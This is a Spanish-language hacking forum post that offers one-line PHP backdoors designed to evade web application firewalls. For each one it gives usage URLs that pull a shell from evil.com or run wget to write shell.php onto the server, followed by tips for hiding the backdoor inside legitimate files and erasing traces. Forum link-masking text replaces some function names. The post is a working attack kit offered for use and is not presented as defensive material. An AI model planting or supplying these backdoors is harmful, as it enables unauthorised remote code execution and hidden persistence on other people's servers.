¡Hola a todos! ¿Cómo les va?
Estoy al tanto de la creciente necesidad de backdoors fáciles de camuflar y con capacidades para evadir
Web
Application
Firewalls —WAF, de ahora en más—. Por lo cual, mediante esta publicación, les ofrezco una lista de backdoors de tan solo una línea, capaces de evadir WAF.
Advertencia: En esta lista no incluiré funciones obsoletas a partir de PHP 7.2.Referencia: You are not allowed to view links.
Register or
Login1. copy() - Requiere: allow_url_fopen. (nunca antes la vi, se me ocurrió recientemente)<?php You are not allowed to view links.
Register or
Login($_GET['s'], $_GET['d']);
¿CÓMO UTILIZAR?
file.php?s=http://evil.com/shell.txt&d=/var/www/shell.php
2. include() - Requiere: allow_url_fopen.<?php include($_GET['x']);
¿CÓMO UTILIZAR?
file.php?x=http://evil.com/shell.php
Advertencia: Obtuve mejores resultados utilizando un servidor HTTP sin PHP, por ejemplo, en Python.
3. popen() - DETECTADA POR You are not allowed to view links.
Register or Login.<?php echo You are not allowed to view links.
Register or
Login(You are not allowed to view links.
Register or
Login($_GET['c'],'r'),1024*4);
¿CÓMO UTILIZAR?
file.php?c=wget -O shell.php You are not allowed to view links.
Register or Login
Advertencia: Aún siendo detectada, es mi favorita y funciona excelente.
4. file_put_contents()<?php You are not allowed to view links.
Register or
Login('_c.php','<?php '.$_GET['c'].' ?>'); include '_c.php'; You are not allowed to view links.
Register or
Login("_c.php");
¿CÓMO UTILIZAR?
file.php?c=system('wget -O shell.php You are not allowed to view links.
Register or Login
Advertencia: unlink() es opcional, pues yo lo uso para no dejar un archivo con el código ejecutado.
SUGERENCIAS1. Se puede anteponer @ en alguna función, para así evitar imprimir los errores de la misma. Esto es útil a la hora de esconder el backdoor dentro de un archivo.
2. Se puede reemplazar $_GET por $_REQUEST, así aceptando GET, POST y COOKIE como métodos de entrada.
3. Se puede utilizar isset() y __halt_compiler() para obtener una salida más limpia a la hora de esconder el backdoor dentro de un archivo.
<?php if(isset($_GET['c']))echo fread(popen($_GET['c'],'r'),1024*4); __halt_compiler();
4. El tag de cierre de PHP no es necesario en un archivo que solo contenga código. Así mismo, se puede utilizar short tags, si éstos están habilitados.
Pues nada más... En realidad, es un post sencillito, pero seguramente a alguien le será útil
Salutes,
Nobody.
